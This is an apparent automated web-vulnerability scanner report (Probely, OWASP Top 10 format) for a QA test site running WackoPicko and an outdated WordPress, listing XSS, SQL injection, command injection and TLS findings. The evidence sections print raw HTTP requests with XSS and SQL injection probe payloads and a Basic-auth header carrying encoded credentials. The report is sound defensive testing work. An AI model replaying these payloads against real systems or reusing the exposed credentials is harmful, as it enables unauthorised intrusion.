Probely+

OWASP COMPLIANCE REPORT

OX-test - https://test-0.ox.qa.prbly.win

Report generated on Jan. 4, 2023 at 15:54 UTC

Summary

This section contains the scan summary

TARGET https://test-0.ox.qa.prbly.win

Report generated on Jan. 4, 2023 at 15:54 UTC

STARTED	ENDED	DURATION	SCAN PROFILE
Jan. 3, 2023, 05:00 UTC	Jan. 3, 2023, 05:45 UTC	45 minutes	Full

NUMBER OF FINDINGS

	CURRENT SCAN	FROM LAST SCAN	PENDING FIX
HIGH	19	▲ 6	19
MEDIUM	4	▼ 1	4
LOW	16	▼ 3	16

TOP 5

Reflected cross-site scripting	**11**
Mixed content	**3**
Certificate without revocation information	**1**
Unencrypted communications	**1**
Insecure crossdomain.xml policy	**1**

OWASP TOP 10

	TESTED	PASSED
A1 Broken Access Control	✓	✗
A2 Cryptographic Failures	✓	✗
A3 Injection	✓	✗
A4 Insecure Design	—	—
A5 Security Misconfiguration	✓	✗
A6 Vulnerable and Outdated Components	✓	✗
A7 Identification and Authentication Failures	✓	✗
A8 Software and Data Integrity Failures	✓	✓
A9 Security Logging and Monitoring Failures	—	—
A10 Server-Side Request Forgery	—	—

Settings

This section contains the summary of settings that were used during this scan

✓ BASIC AUTH

USERNAME	PASSWORD
***bely	******************

✓ EXTRA HOSTS

api.test-0.ox.qa.prbly.win

✓ CUSTOM HEADERS

test-0.ox.qa.prbly.win

FE-server	1

✓ SEEDS LIST

login

✓ SCAN PROFILE

Full

Tests for all supported vulnerabilities, like the normal scanning profile, but including a more extensive set of payloads. Scan time might be longer than when scanning with other profiles.

Technical Summary

The following table summarizes the findings, ordered by their severity

#	SEVERITY		VULNERABILITY	STATE
46	HIGH		**WordPress version with known vulnerabilities** https://test-0.ox.qa.prbly.win/	NOT FIXED
45	HIGH		**WordPress plugin with known vulnerabilities** https://test-0.ox.qa.prbly.win/	NOT FIXED
59	HIGH		**Unencrypted communications** http://test-0.ox.qa.prbly.win/	NOT FIXED
90	HIGH		**Stored cross-site scripting** https://test-0.ox.qa.prbly.win/WackoPicko/guestbook.php **comment**	NOT FIXED
15	HIGH		**SQL Injection** https://test-0.ox.qa.prbly.win/WackoPicko/users/login.php **username**	NOT FIXED
99	HIGH		**Reflected cross-site scripting** http://test-0.ox.qa.prbly.win/dyn/goal/onCopy.php **email**	NOT FIXED
101	HIGH	NEW	**Reflected cross-site scripting** http://test-0.ox.qa.prbly.win/dyn/goal/onDoubleClick.php **email**	NOT FIXED
12	HIGH	NEW	**Reflected cross-site scripting** http://test-0.ox.qa.prbly.win/dyn/goal/onClick.php **email**	NOT FIXED
93	HIGH	NEW	**Reflected cross-site scripting** http://test-0.ox.qa.prbly.win/dyn/goal/onPaste.php **email**	NOT FIXED
137	HIGH	NEW	**Reflected cross-site scripting** http://test-0.ox.qa.prbly.win/dyn/goal/onMouseOver.php **email**	NOT FIXED
16	HIGH	NEW	**Reflected cross-site scripting** https://test-0.ox.qa.prbly.win/WackoPicko/phpinjection.php **name**	NOT FIXED
107	HIGH	NEW	**Reflected cross-site scripting** https://test-0.ox.qa.prbly.win/WackoPicko/phpinjection.php **email**	NOT FIXED
113	HIGH		**Reflected cross-site scripting** http://test-0.ox.qa.prbly.win/WackoPicko/ **query**	NOT FIXED

#	SEVERITY		VULNERABILITY	STATE
18	HIGH		**Reflected cross-site scripting** http://test-0.ox.qa.prbly.win/WackoPicko/guestbook.php **comment**	NOT FIXED
13	HIGH		**Reflected cross-site scripting** http://test-0.ox.qa.prbly.win/WackoPicko/pictures/search.php **query**	NOT FIXED
14	HIGH		**Reflected cross-site scripting** https://test-0.ox.qa.prbly.win/WackoPicko/piccheck.php **name**	NOT FIXED
26	HIGH		**OS command injection** http://test-0.ox.qa.prbly.win/WackoPicko/passcheck.php **password**	NOT FIXED
40	HIGH		**Cross Origin Resource Sharing: Arbitrary Origin Trusted** https://test-0.ox.qa.prbly.win/WackoPicko/	NOT FIXED
118	HIGH		**ASP.NET tracing enabled** https://test-0.ox.qa.prbly.win/trace.axd	NOT FIXED
6	MEDIUM		**Weak cipher suites enabled** https://test-0.ox.qa.prbly.win/	NOT FIXED
3	MEDIUM		**Untrusted TLS certificate** https://test-0.ox.qa.prbly.win/	NOT FIXED
55	MEDIUM		**Mixed content** https://test-0.ox.qa.prbly.win/WackoPicko/crypto/	NOT FIXED
1	MEDIUM		**Expired TLS certificate** https://test-0.ox.qa.prbly.win/	NOT FIXED
84	LOW	NEW	**SSL cookie without Secure flag** https://test-0.ox.qa.prbly.win/WackoPicko/passcheck.php **PHPSESSID**	NOT FIXED
8	LOW		**Referrer policy not defined** https://test-0.ox.qa.prbly.win/	NOT FIXED
63	LOW	NEW	**Mixed content** https://test-0.ox.qa.prbly.win/foo/	NOT FIXED
50	LOW		**Mixed content** https://test-0.ox.qa.prbly.win/	NOT FIXED
96	LOW		**Missing Content Security Policy header** https://test-0.ox.qa.prbly.win/	NOT FIXED

#	SEVERITY		VULNERABILITY	STATE
32	LOW		**Missing clickjacking protection** https://test-0.ox.qa.prbly.win/	NOT FIXED
120	LOW		**JQuery Migrate library with known vulnerabilities** https://test-0.ox.qa.prbly.win/wp-includes/js/jquery/jquery-migrate.min.js	NOT FIXED
122	LOW		**JQuery library with known vulnerabilities** http://test-0.ox.qa.prbly.win/WackoPicko/jquery.js	NOT FIXED
9	LOW		**Insecure crossdomain.xml policy** https://test-0.ox.qa.prbly.win/crossdomain.xml	NOT FIXED
35	LOW		**HSTS header not enforced** https://test-0.ox.qa.prbly.win/	NOT FIXED
149	LOW		**Deprecated TLS protocol version 1.1 supported** https://test-0.ox.qa.prbly.win/	NOT FIXED
2	LOW		**Deprecated TLS protocol version 1.0 supported** https://test-0.ox.qa.prbly.win/	NOT FIXED
83	LOW	NEW	**Cookie without HttpOnly flag** https://test-0.ox.qa.prbly.win/WackoPicko/passcheck.php **PHPSESSID**	NOT FIXED
4	LOW		**Certificate without revocation information** https://test-0.ox.qa.prbly.win/	NOT FIXED
7	LOW		**Browser content sniffing allowed** https://test-0.ox.qa.prbly.win/	NOT FIXED
103	LOW		**Bootstrap library with known vulnerabilities** https://test-0.ox.qa.prbly.win/WackoPicko/im_hiding_this_lib_name.js	NOT FIXED

Exhaustive Test List

The following pages contain the list of vulnerabilities we tested in this scan, taking into consideration the chosen profile

- Reflected cross-site scripting
- Cookie without HttpOnly flag
- Open redirection
- SQL Injection
- Missing cross-site request forgery protection
- Missing clickjacking protection
- Stored cross-site scripting
- Insecure crossdomain.xml policy
- SSL cookie without Secure flag
- HTTP TRACE method enabled
- Directory Listing
- ASP.NET tracing enabled
- Path traversal
- Remote File Inclusion
- ASP.NET ViewState without MAC
- Session Token in URL
- Application error message
- Private IP addresses disclosed
- OS command injection
- XML external entity injection
- ASP.NET debugging enabled
- Insecure Silverlight clientaccesspolicy.xml policy
- PHP code injection
- Server-side JavaScript injection
- Python code injection
- SQL injection (second order)
- Server-side template injection
- Unencrypted communications
- HSTS header not enforced
- Mixed content
- Cross Origin Resource Sharing: Arbitrary Origin Trusted
- Certificate with insufficient key size or usage, or insecure signature algorithm
- Expired TLS certificate
- Insecure SSL protocol version 3 supported
- Deprecated TLS protocol version 1.0 supported
- Deprecated TLS protocol version 1.1 supported
- Secure TLS protocol version 1.2 not supported
- Weak cipher suites enabled
- Server Cipher Order not configured
- Untrusted TLS certificate
- Heartbleed
- Secure Renegotiation is not supported
- TLS Downgrade attack prevention not supported
- WordPress version with known vulnerabilities
- Joomla! version with known vulnerabilities
- Certificate without revocation information

- Full path disclosure
- Log file disclosure
- HSTS header set in HTTP
- HSTS header with low duration and no subdomain protection
- HSTS header with low duration
- HSTS header does not protect subdomains
- Inclusion of cryptocurrency mining script
- Insecure SSL protocol version 2 supported
- Browser XSS protection disabled
- Browser content sniffing allowed
- Referrer policy not defined
- Insecure referrer policy
- Potential DoS on TLS Client Renegotiation
- JQuery library with known vulnerabilities
- AngularJS library with known vulnerabilities
- Bootstrap library with known vulnerabilities
- JQuery Mobile library with known vulnerabilities
- JQuery Migrate library with known vulnerabilities
- TLS certificate about to expire
- Moment.js library with known vulnerabilities
- Prototype library with known vulnerabilities
- React library with known vulnerabilities
- SWFObject library with known vulnerabilities
- TinyMCE library with known vulnerabilities
- Backbone library with known vulnerabilities
- Mustache library with known vulnerabilities
- Handlebars library with known vulnerabilities
- Dojo library with known vulnerabilities
- jPlayer library with known vulnerabilities
- CKEditor library with known vulnerabilities
- DWR library with known vulnerabilities
- Flowplayer library with known vulnerabilities
- DOMPurify library with known vulnerabilities
- Plupload library with known vulnerabilities
- easyXDM library with known vulnerabilities
- Ember library with known vulnerabilities
- YUI library with known vulnerabilities
- Sessvars library with known vulnerabilities
- prettyPhoto library with known vulnerabilities
- jQuery UI library with known vulnerabilities
- WordPress plugin with known vulnerabilities
- Invalid referrer policy
- Insecure PHP Object deserialization
- Missing Content Security Policy header
- Insecure Content Security Policy
- GraphQL Introspection enabled
- Log4Shell
- Vue.js library with known vulnerabilities
- Spring Cloud SPEL Code Injection (CVE-2022-22963)
- Spring4Shell
- Knockout library with known vulnerabilities

Detailed Finding Descriptions

This section contains the findings in more detail, ordered by severity

# 46 WordPress version with known vulnerabilities

HIGH

CVSS SCORE 9.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

PATH

https://test-0.ox.qa.prbly.win/

DESCRIPTION

The installed version of WordPress has multiple known vulnerabilities that may be used by attackers to harmful the clients of the a pplication or the application itself.

The impact of this greatly depends on the vulnerabilities this WordPress version has. Some vulnerabilities may allow only the theft of a user account, giving the attacker the possibility to read and modify content written by the victim and to post on is behalf. Ho wever, more serious vulnerabilities may allow the attacker to login with the administrator account and completely control the admi nistration area, possibly destroy all the contents or replacing them with improper content.

This is a common problem amongst WordPress installations, since it becomes outdated quickly, with vulnerabilities being discovered weekly and updated being published at the same pace.

The current version has the following list of known vulnerabilities:

- WordPress <= 4.2 - Unauthenticated Stored Cross-Site Scripting (XSS) CVE-2015-3440
- WordPress 4.1-4.2.1 - Unauthenticated Genericons Cross-Site Scripting (XSS)
- WordPress <= 4.2.2 - Authenticated Stored Cross-Site Scripting (XSS) CVE-2015-5622 CVE-2015-5623
- WordPress <= 4.2.3 - wp_untrash_post_comments SQL Injection CVE-2015-2213
- WordPress <= 4.2.3 - Timing Side Channel Attack CVE-2015-5730
- WordPress <= 4.2.3 - Widgets Title Cross-Site Scripting (XSS) CVE-2015-5732
- WordPress <= 4.2.3 - Nav Menu Title Cross-Site Scripting (XSS) CVE-2015-5733
- WordPress <= 4.2.3 - Legacy Theme Preview Cross-Site Scripting (XSS) CVE-2015-5734
- WordPress <= 4.3 - Authenticated Shortcode Tags Cross-Site Scripting (XSS) CVE-2015-5714
- WordPress <= 4.3 - User List Table Cross-Site Scripting (XSS) CVE-2015-7989
- WordPress <= 4.3 - Publish Post & Mark as Sticky Permission Issue CVE-2015-5715
- WordPress 3.7-4.4 - Authenticated Cross-Site Scripting (XSS) CVE-2016-1564
- WordPress 3.7-4.4.1 - Local URIs Server Side Request Forgery (SSRF) CVE-2016-2222
- WordPress 3.7-4.4.1 - Open Redirect CVE-2016-2221
- WordPress <= 4.4.2 - SSRF Bypass using Octal & Hexedecimal IP addresses CVE-2016-4029
- WordPress <= 4.4.2 - Reflected XSS in Network Settings CVE-2016-6634
- WordPress <= 4.4.2 - Script Compression Option CSRF CVE-2016-6635
- WordPress 4.2-4.5.1 - MediaElement.js Reflected Cross-Site Scripting (XSS) CVE-2016-4567
- WordPress <= 4.5.1 - Pupload Same Origin Method Execution (SOME) CVE-2016-4566
- WordPress 4.2-4.5.2 - Authenticated Attachment Name Stored XSS CVE-2016-5833 CVE-2016-5834
- WordPress 3.6-4.5.2 - Authenticated Revision History Information Disclosure CVE-2016-5835
- WordPress 2.6.0-4.5.2 - Unauthorized Category Removal from Post CVE-2016-5837

- WordPress 2.5-4.6 - Authenticated Stored Cross-Site Scripting via Image Filename CVE-2016-7168
- WordPress 2.8-4.6 - Path Traversal in Upgrade Package Uploader CVE-2016-7169
- WordPress 2.9-4.7 - Authenticated Cross-Site scripting (XSS) in update-core.php CVE-2017-5488
- WordPress 3.4-4.7 - Stored Cross-Site Scripting (XSS) via Theme Name fallback CVE-2017-5490
- WordPress <= 4.7 - Post via Email Checks mail.example.com by Default CVE-2017-5491
- WordPress 2.8-4.7 - Accessibility Mode Cross-Site Request Forgery (CSRF) CVE-2017-5492
- WordPress 3.0-4.7 - Cryptographically Weak Pseudo-Random Number Generator (PRNG) CVE-2017-5493
- WordPress 4.2.0-4.7.1 - Press This UI Available to Unauthorised Users CVE-2017-5610
- WordPress 3.5-4.7.1 - WP_Query SQL Injection CVE-2017-5611
- WordPress 3.6.0-4.7.2 - Authenticated Cross-Site Scripting (XSS) via Media File Metadata CVE-2017-6814
- WordPress 2.8.1-4.7.2 - Control Characters in Redirect URL Validation CVE-2017-6815
- WordPress 4.0-4.7.2 - Authenticated Stored Cross-Site Scripting (XSS) in YouTube URL Embeds CVE-2017-6817
- WordPress 4.2-4.7.2 - Press This CSRF DoS CVE-2017-6819
- WordPress 2.3-4.8.3 - Host Header Injection in Password Reset CVE-2017-8295
- WordPress 2.7.0-4.7.4 - Insufficient Redirect Validation CVE-2017-9066
- WordPress 2.5.0-4.7.4 - Post Meta Data Values Improper Handling in XML-RPC CVE-2017-9062
- WordPress 3.4.0-4.7.4 - XML-RPC Post Meta Data Lack of Capability Checks CVE-2017-9065
- WordPress 2.5.0-4.7.4 - Filesystem Credentials Dialog CSRF CVE-2017-9064
- WordPress 3.3-4.7.4 - Large File Upload Error XSS CVE-2017-9061
- WordPress 3.4.0-4.7.4 - Customizer XSS & CSRF CVE-2017-9063
- WordPress 2.3.0-4.8.1 - $wpdb->prepare() potential SQL Injection CVE-2017-14723
- WordPress 2.3.0-4.7.4 - Authenticated SQL injection
- WordPress 2.9.2-4.8.1 - Open Redirect CVE-2017-14725
- WordPress 3.0-4.8.1 - Path Traversal in Unzipping CVE-2017-14719
- WordPress <= 4.8.2 - $wpdb->prepare() Weakness CVE-2017-16510
- WordPress 2.8.6-4.9 - Authenticated JavaScript File Upload CVE-2017-17092
- WordPress 1.5.0-4.9 - RSS and Atom Feed Escaping CVE-2017-17094
- WordPress 3.7-4.9 - 'newbloguser' Key Weak Hashing CVE-2017-17091
- WordPress 3.7-4.9.1 - MediaElement Cross-Site Scripting (XSS) CVE-2018-5776 CVE-2016-9263
- WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched) CVE-2018-6389
- WordPress 3.7-4.9.4 - Remove localhost Default CVE-2018-10101
- WordPress 3.7-4.9.4 - Use Safe Redirect for Login CVE-2018-10100
- WordPress 3.7-4.9.4 - Escape Version in Generator Tag CVE-2018-10102
- WordPress <= 4.9.6 - Authenticated Arbitrary File Deletion CVE-2018-12895
- WordPress <= 5.0 - Authenticated File Delete CVE-2018-20147
- WordPress <= 5.0 - Authenticated Post Type Bypass CVE-2018-20152
- WordPress <= 5.0 - PHP Object Injection via Meta Data CVE-2018-20148
- WordPress <= 5.0 - Authenticated Cross-Site Scripting (XSS) CVE-2018-20153
- WordPress <= 5.0 - Cross-Site Scripting (XSS) that could affect plugins CVE-2018-20150
- WordPress <= 5.0 - User Activation Screen Search Engine Indexing CVE-2018-20151
- WordPress <= 5.0 - File Upload to XSS on Apache Web Servers CVE-2018-20149
- WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution CVE-2019-8942 CVE-2019-8943
- WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS) CVE-2019-9787
- WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation CVE-2019-16222
- WordPress <= 5.2.3 - Stored XSS in Customizer CVE-2019-17674
- WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts CVE-2019-17671

- WordPress <= 5.2.3 - Stored XSS in Style Tags CVE-2019-17672
- WordPress <= 5.2.3 - JSON Request Cache Poisoning CVE-2019-17673
- WordPress <= 5.2.3 - Server-Side Request Forgery (SSRF) in URL Validation CVE-2019-17669 CVE-2019-17670
- WordPress <= 5.2.3 - Admin Referrer Validation CVE-2019-17675
- WordPress <= 5.3 - Authenticated Improper Access Controls in REST API CVE-2019-20043 CVE-2019-16788
- WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links CVE-2019-20042
- WordPress <= 5.3 - Authenticated Stored XSS via Block Editor Content CVE-2019-16781 CVE-2019-16780
- WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass CVE-2019-20041
- WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated CVE-2020-11027
- WordPress < 5.4.1 - Unauthenticated Users View Private Posts CVE-2020-11028
- WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer CVE-2020-11025
- WordPress < 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache CVE-2020-11029
- WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads CVE-2020-11026
- WordPress <= 5.2.3 - Hardening Bypass
- WordPress < 5.4.2 - Authenticated XSS via Media Files CVE-2020-4047
- WordPress < 5.4.2 - Open Redirection CVE-2020-4048
- WordPress < 5.4.2 - Authenticated Stored XSS via Theme Upload CVE-2020-4049
- WordPress < 5.4.2 - Misuse of set-screen-option Leading to Privilege Escalation CVE-2020-4050
- WordPress < 5.4.2 - Disclosure of Password-Protected Page/Post Comments CVE-2020-25286
- WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer CVE-2020-36326 CVE-2018-19296
- WordPress < 5.8 - Plugin Confusion CVE-2021-44223
- WordPress < 5.8.3 - SQL Injection via WP_Query CVE-2022-21661
- WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs CVE-2022-21662
- WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query CVE-2022-21664
- WordPress < 5.8.3 - Super Admin Object Injection in Multisites CVE-2022-21663
- WordPress < 5.9.2 - Prototype Pollution in jQuery
- WP < 6.0.2 - Reflected Cross-Site Scripting
- WP < 6.0.2 - Authenticated Stored Cross-Site Scripting
- WP < 6.0.2 - SQLi via Link API
- WP < 6.0.3 - Stored XSS via wp-mail.php
- WP < 6.0.3 - Open Redirect via wp_nonce_ays
- WP < 6.0.3 - Email Address Disclosure via wp-mail.php
- WP < 6.0.3 - Reflected XSS via SQLi in Media Library
- WP < 6.0.3 - CSRF in wp-trackback.php
- WP < 6.0.3 - Stored XSS via the Customizer
- WP < 6.0.3 - Stored XSS via Comment Editing
- WP < 6.0.3 - Content from Multipart Emails Leaked
- WP < 6.0.3 - SQLi in WP_Date_Query
- WP < 6.0.3 - Stored XSS via RSS Widget
- WP < 6.0.3 - Data Exposure via REST Terms/Tags Endpoint
- WP < 6.0.3 - Multiple Stored XSS via Gutenberg
- WP <= 6.1.1 - Unauthenticated Blind SSRF via DNS Rebinding CVE-2022-3590

EVIDENCE

You have Wordpress version 4.2, first published at 2015-04-23. This version is outdated and has known vulnerabilities.

45

WordPress plugin with known vulnerabilities

HIGH

CVSS SCORE
9.1

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

PATH

https://test-0.ox.qa.prbly.win/

DESCRIPTION

The Wordpress application has plugins with multiple known vulnerabilities that may be used by attackers to harmful the clients of t he application or the application itself.

The impact of this greatly depends on the vulnerabilities the plugins have. Some vulnerabilities may allow only the theft of a user account, giving the attacker the possibility to read and modify content written by the victim and to post on is behalf. However, mor e serious vulnerabilities may allow the attacker to login with the administrator account and completely control the administration ar ea, possibly destroy all the contents or replacing them with improper content.

This is a common problem amongst WordPress plugins, since they become outdated quickly, with vulnerabilities being discovered w eekly and updated being published at the same pace. It is also frequent for plugins to be no longer maintained, leaving users with out updates that fix published vulnerabilities.

The following is a list of known vulnerabilities that affect the plugins:

- Twenty Fifteen Theme <= 1.1 - DOM Cross-Site Scripting (XSS) CVE-2015-3429

EVIDENCE

No evidence available.

# 59 Unencrypted communications

HIGH

CVSS SCORE
7.4

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

METHOD	PATH
GET	http://test-0.ox.qa.prbly.win/

DESCRIPTION

The application allows clients to connect to it through an unencrypted connection, meaning that an attacker that is strategically po sitioned between the victim's and the applications's traffic is able to eavesdrop all communications between them, accessing any in formation that is being transmitted, such as the victim's credentials. In addition, the attacker can modify the communications to de liver more powerful attacks, for instance, to ask the victim for more sensitive information that hasn't been asked in the original ap plication page.

Such attacks are more likely to occur when the victim is using an insecure Wi-Fi connection, a typical scenario in the public Wi-Fi s ervices.

Unencrypted connections may also trigger browser warnings about the insecurity of the connection, following the trend of raising a wareness about privacy.

EVIDENCE

We did an HTTP request and the response redirected us to a location without HTTPS:

REQUEST

```
GET / HTTP/1.1
accept-encoding: gzip, deflate
cache-control: no-cache
connection: keep-alive
host: test-0.ox.qa.prbly.win
pragma: no-cache
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26
fe-server: 1
origin: http://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
```

RESPONSE

```
HTTP/1.1 401 Unauthorized
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:01:09 GMT
Content-Type: text/html
Content-Length: 596
Connection: keep-alive
WWW-Authenticate: Basic realm="Protected"
<html>
<head><title>401 Authorization Required</title></head>
<body bgcolor="white">
<center><h1>401 Authorization Required</h1></center>
<hr><center>nginx/1.6.2</center>
</body>
```

```
</html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
```

# 90 Stored cross-site scripting

HIGH

CVSS SCORE
5.4 CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

METHOD	PATH	PARAMETER
GET	https://test-0.ox.qa.prbly.win/WackoPicko/guestbook.php	comment

DESCRIPTION

A stored cross-site scripting (XSS) vulnerability allows the attacker to inject malicious scripts in the application that are later execut ed in an application response. Typical attacks aim to execute the malicious script in the victims browser to read the session tokens (such as the session cookie) or login credentials and send it to the attacker.

Stored cross-site scripting vulnerabilities are normally more serious than reflected cross-site scripting since the malicious code is st ored in the application and executed within the browser of any user that views that page, without the need for the attacker to reac h individual victims.

EVIDENCE

Response[2] includes input without being properly escaped. The input is injected in Request[1] and observed in the response to Re quest[2]. The following lines are present in that response:

```
you for reading.</p>
     <p> - by &lt;/p&gt;&lt;scrIpt&gt;alert(9897);&lt;/scRipt&gt;&lt;p&gt; </p>
          <p class="comment"></p><scrIpt>alert(56103);</scRipt><p></p>
     <p> - by Pedro Miguel </p>
          <p class="comment">This is a beautiful test comment. Also it's very polite. Thank you
```

REQUEST

```
POST /WackoPicko/guestbook.php HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
Content-Length: 89
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: https://test-0.ox.qa.prbly.win/WackoPicko/guestbook.php
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
content-type: application/x-www-form-urlencoded
fe-server: 1
origin: https://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
Cookie:
comment_author_email_881fafb8a9fff88c22a59cbe5116a8b6=scanner%40probe.ly;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd;
wordpress_test_cookie=WP+Cookie+check; PHPSESSID=d8rrf1q39ma00dleqo3osq1uo2;
cookie_4242=123e4567-e89b-12d3-a456-426655440000; abcdef=abcdef;
comment_author_881fafb8a9fff88c22a59cbe5116a8b6=Pedro+Miguel;
comment_author_url_881fafb8a9fff88c22a59cbe5116a8b6=https%3A%2F%2Fprobely.com
name=Pedro+Miguel&comment=%3C%2Fp%3E%3CscrIpt%3Ealert%2856103%29%3B%3C%2FscRipt%
3E%3Cp%3E
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:45:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
<html>
  <head>
    <link rel="stylesheet" href="/WackoPicko/css/blueprint/screen.css"
type="text/css" media="screen, projection">
    <link rel="stylesheet" href="/WackoPicko/css/blueprint/print.css"
type="text/css" media="print">
    <!--[if IE]><link rel="stylesheet" href="/WackoPicko/css/blueprint/ie.css"
type="text/css" media="screen, projection"><![endif]-->
    <link rel="stylesheet" href="/WackoPicko/css/stylings.php" type="text/css"
media="screen">
    <title>WackoPicko.com</title>
  </head>
  <body>
    <div class="container " style="border: 2px solid #5c95cf;">
      <div class="column span-24 first last">
        <h1 id="title"><a href="/WackoPicko/">WackoPicko.com</a></h1>
      </div>
      <div id="menu">
        <div class="column prepend-1 span-14 first">
          <ul class="menu">
            <li class=""><a
href="/WackoPicko/users/home.php"><span>Home</span></a></li>
            <li class=""><a
href="/WackoPicko/pictures/upload.php"><span>Upload</span></a></li>
            <li class=""><a
href="/WackoPicko/pictures/recent.php"><span>Recent</span></a></li>
            <li class="current"><a
href="/WackoPicko/guestbook.php"><span>Guestbook</span></a></li>
```

# 15 SQL Injection

HIGH

CVSS SCORE 8.6 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

METHOD	PATH	PARAMETER
POST	https://test-0.ox.qa.prbly.win/WackoPicko/users/login.php	username

DESCRIPTION

SQL Injections are the most common form of injections because SQL databases are very popular in dynamic web applications. This vulnerability allows an attacker to tamper existing SQL queries performed by the web application. Depending on the queries, the at tacker might be able to access, modify or even destroy data from the database.

Since databases are commonly used to store private data, such as authentication information, personal user data and site content, if an attacker gains access to it, the consequences are typically very severe, ranging from defacement of the web application to us ers data leakage or loss, or even full control of the web application or database server.

EVIDENCE

As evidence that is possible to take advantage of this vulnerability, we have extracted the following data from the database engin e:

```
DBMS:        MySQL >= 5.6
Databases: information_schema, wackopicko
```

REQUEST

```
POST /WackoPicko/users/login.php HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
Content-Length: 64
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: https://test-0.ox.qa.prbly.win/WackoPicko/users/login.php
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
content-type: application/x-www-form-urlencoded
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef
fe-server: 1
origin: https://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
username=%27%22%3B%27%28%29%28NULL&password=probely_Password1%21
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:04:11 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '";'()(NULL' and
`password` = SHA1( CONCAT('probely_Password1!', `salt`)) limit 1' at line 1
```

# 99 Reflected cross-site scripting

HIGH

CVSS SCORE
5.4
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

METHOD	PATH	PARAMETER
POST	http://test-0.ox.qa.prbly.win/dyn/goal/onCopy.php	email

DESCRIPTION

A reflected cross-site scripting (XSS) vulnerability allows the attacker to temporarily inject malicious scripts in the application page. The typical attack is to send a link to the victim with some JavaScript in it, which will be executed in the victim's browser, inside t he vulnerable page. This malicious JavaScript can, for instance, read the session cookie and send it to the attacker, change the logi n form and point it to a page controlled by the attacker (and thus stealing the credentials) or even add a non-existent form asking for sensitive data.

Depending on the type of XSS and the nature of the vulnerable application, the impact of this vulnerability can range from tempor arily modifying the contents of the website (during the victim's visit) to total control of the victim's session or even of the browser. Given its prevalence and ease of exploitation, it's often considered a serious risk for any application that contains an area that req uires authentication.

